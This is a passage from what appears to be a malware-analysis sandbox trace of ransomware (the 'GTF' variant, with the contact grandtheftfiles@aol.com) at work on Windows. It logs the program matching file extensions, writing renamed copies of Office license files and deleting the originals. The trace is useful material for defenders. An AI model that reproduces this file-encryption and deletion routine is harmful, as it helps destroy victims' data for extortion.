	[0183.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73
	[0183.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73
	[0183.124] lstrlenW (lpString=".doc") returned 4
	[0183.124] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.124] lstrlenW (lpString=".docx") returned 5
	[0183.124] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.124] lstrlenW (lpString=".pdf") returned 4
	[0183.124] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.124] lstrlenW (lpString=".xls") returned 4
	[0183.124] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.124] lstrlenW (lpString=".xlsx") returned 5
	[0183.124] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.124] lstrlenW (lpString=".ppt") returned 4
	[0183.124] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73
	[0183.124] lstrlenW (lpString=".zip") returned 4
	[0183.124] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.124] lstrlenW (lpString=".rar") returned 4
	[0183.124] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.125] lstrlenW (lpString=".bz2") returned 4
	[0183.125] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.125] lstrlenW (lpString=".7z") returned 3
	[0183.125] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73
	[0183.125] lstrlenW (lpString=".dbf") returned 4
	[0183.125] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73
	[0183.125] lstrlenW (lpString=".1cd") returned 4
	[0183.125] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73
	[0183.125] lstrlenW (lpString=".jpg") returned 4
	[0183.125] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73
	[0183.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73
	[0183.125] lstrlenW (lpString=".doc") returned 4
	[0183.125] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.125] lstrlenW (lpString=".docx") returned 5
	[0183.125] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.125] lstrlenW (lpString=".pdf") returned 4
	[0183.125] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.125] lstrlenW (lpString=".xls") returned 4
	[0183.125] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.125] lstrlenW (lpString=".xlsx") returned 5
	[0183.125] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.125] lstrlenW (lpString=".ppt") returned 4
	[0183.125] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73
	[0183.125] lstrlenW (lpString=".zip") returned 4
	[0183.125] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.125] lstrlenW (lpString=".rar") returned 4
	[0183.125] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.125] lstrlenW (lpString=".bz2") returned 4
	[0183.125] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.125] lstrlenW (lpString=".7z") returned 3
	[0183.125] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73
	[0183.126] lstrlenW (lpString=".dbf") returned 4
	[0183.126] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73
	[0183.126] lstrlenW (lpString=".1cd") returned 4
	[0183.126] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73
	[0183.126] lstrlenW (lpString=".jpg") returned 4
	[0183.126] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.126] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.126] lstrlenW (lpString="OneNoteVL_MAK-ul-phn.xrm-ms") returned 27
	[0183.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0183.127] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=19931) returned 1
	[0183.127] CloseHandle (hObject=0x570) returned 1
	[0183.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-phn.xrm-ms")) returned 0x220
	[0183.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0183.127] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.127] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0183.128] GetLastError () returned 0x0
	[0183.128] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x4ddb, lpOverlapped=0x0) returned 1
	[0183.140] WriteFile (in: hFile=0x55c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0183.141] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.142] WriteFile (in: hFile=0x55c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10a, lpOverlapped=0x0) returned 1
	[0183.142] SetEndOfFile (hFile=0x55c) returned 1
	[0183.142] CloseHandle (hObject=0x55c) returned 1
	[0183.142] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.142] SetEndOfFile (hFile=0x570) returned 1
	[0183.145] CloseHandle (hObject=0x570) returned 1
	[0183.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-phn.xrm-ms")) returned 1
	[0183.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.146] lstrlenW (lpString=".doc") returned 4
	[0183.146] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.146] lstrlenW (lpString=".docx") returned 5
	[0183.146] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.146] lstrlenW (lpString=".pdf") returned 4
	[0183.146] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.146] lstrlenW (lpString=".xls") returned 4
	[0183.147] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.147] lstrlenW (lpString=".xlsx") returned 5
	[0183.147] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.147] lstrlenW (lpString=".ppt") returned 4
	[0183.147] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.147] lstrlenW (lpString=".zip") returned 4
	[0183.147] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.147] lstrlenW (lpString=".rar") returned 4
	[0183.147] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.147] lstrlenW (lpString=".bz2") returned 4
	[0183.147] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.147] lstrlenW (lpString=".7z") returned 3
	[0183.147] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.147] lstrlenW (lpString=".dbf") returned 4
	[0183.147] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.147] lstrlenW (lpString=".1cd") returned 4
	[0183.147] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.147] lstrlenW (lpString=".jpg") returned 4
	[0183.147] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.147] lstrlenW (lpString=".doc") returned 4
	[0183.147] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.147] lstrlenW (lpString=".docx") returned 5
	[0183.147] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.147] lstrlenW (lpString=".pdf") returned 4
	[0183.147] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.147] lstrlenW (lpString=".xls") returned 4
	[0183.147] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.147] lstrlenW (lpString=".xlsx") returned 5
	[0183.147] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.147] lstrlenW (lpString=".ppt") returned 4
	[0183.148] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.148] lstrlenW (lpString=".zip") returned 4
	[0183.148] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.148] lstrlenW (lpString=".rar") returned 4
	[0183.148] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.148] lstrlenW (lpString=".bz2") returned 4
	[0183.148] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.148] lstrlenW (lpString=".7z") returned 3
	[0183.148] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.148] lstrlenW (lpString=".dbf") returned 4
	[0183.148] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.148] lstrlenW (lpString=".1cd") returned 4
	[0183.148] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms") returned 77
	[0183.148] lstrlenW (lpString=".jpg") returned 4
	[0183.148] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.148] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.148] lstrlenW (lpString="OutlookR_Grace-ppd.xrm-ms") returned 25
	[0183.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0183.149] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=20776) returned 1
	[0183.149] CloseHandle (hObject=0x570) returned 1
	[0183.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ppd.xrm-ms")) returned 0x220
	[0183.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0183.150] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.150] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0183.151] GetLastError () returned 0x0
	[0183.151] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x5128, lpOverlapped=0x0) returned 1
	[0183.156] WriteFile (in: hFile=0x55c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5130, lpOverlapped=0x0) returned 1
	[0183.157] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.157] WriteFile (in: hFile=0x55c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x106, lpOverlapped=0x0) returned 1
	[0183.157] SetEndOfFile (hFile=0x55c) returned 1
	[0183.157] CloseHandle (hObject=0x55c) returned 1
	[0183.157] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.158] SetEndOfFile (hFile=0x570) returned 1
	[0183.163] CloseHandle (hObject=0x570) returned 1
	[0183.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.163] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ppd.xrm-ms")) returned 1
	[0183.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75
	[0183.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75
	[0183.164] lstrlenW (lpString=".doc") returned 4
	[0183.164] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.164] lstrlenW (lpString=".docx") returned 5
	[0183.164] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.164] lstrlenW (lpString=".pdf") returned 4
	[0183.164] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.164] lstrlenW (lpString=".xls") returned 4
	[0183.164] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.164] lstrlenW (lpString=".xlsx") returned 5
	[0183.164] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.164] lstrlenW (lpString=".ppt") returned 4
	[0183.164] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75
	[0183.164] lstrlenW (lpString=".zip") returned 4
	[0183.164] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.164] lstrlenW (lpString=".rar") returned 4
	[0183.164] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.165] lstrlenW (lpString=".bz2") returned 4
	[0183.165] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.165] lstrlenW (lpString=".7z") returned 3
	[0183.165] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75
	[0183.165] lstrlenW (lpString=".dbf") returned 4
	[0183.165] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75
	[0183.165] lstrlenW (lpString=".1cd") returned 4
	[0183.165] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75
	[0183.165] lstrlenW (lpString=".jpg") returned 4
	[0183.165] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75
	[0183.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75
	[0183.165] lstrlenW (lpString=".doc") returned 4
	[0183.165] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.165] lstrlenW (lpString=".docx") returned 5
	[0183.165] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.165] lstrlenW (lpString=".pdf") returned 4
	[0183.165] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.165] lstrlenW (lpString=".xls") returned 4
	[0183.165] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.165] lstrlenW (lpString=".xlsx") returned 5
	[0183.165] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.165] lstrlenW (lpString=".ppt") returned 4
	[0183.165] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75
	[0183.165] lstrlenW (lpString=".zip") returned 4
	[0183.165] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.165] lstrlenW (lpString=".rar") returned 4
	[0183.165] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.165] lstrlenW (lpString=".bz2") returned 4
	[0183.165] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.165] lstrlenW (lpString=".7z") returned 3
	[0183.165] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75
	[0183.166] lstrlenW (lpString=".dbf") returned 4
	[0183.166] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75
	[0183.166] lstrlenW (lpString=".1cd") returned 4
	[0183.166] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms") returned 75
	[0183.166] lstrlenW (lpString=".jpg") returned 4
	[0183.166] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.166] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.166] lstrlenW (lpString="OutlookR_Grace-ul-oob.xrm-ms") returned 28
	[0183.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0183.167] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11599) returned 1
	[0183.167] CloseHandle (hObject=0x570) returned 1
	[0183.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ul-oob.xrm-ms")) returned 0x220
	[0183.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0183.167] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.167] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0183.168] GetLastError () returned 0x0
	[0183.168] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d4f, lpOverlapped=0x0) returned 1
	[0183.409] WriteFile (in: hFile=0x28c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0183.411] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
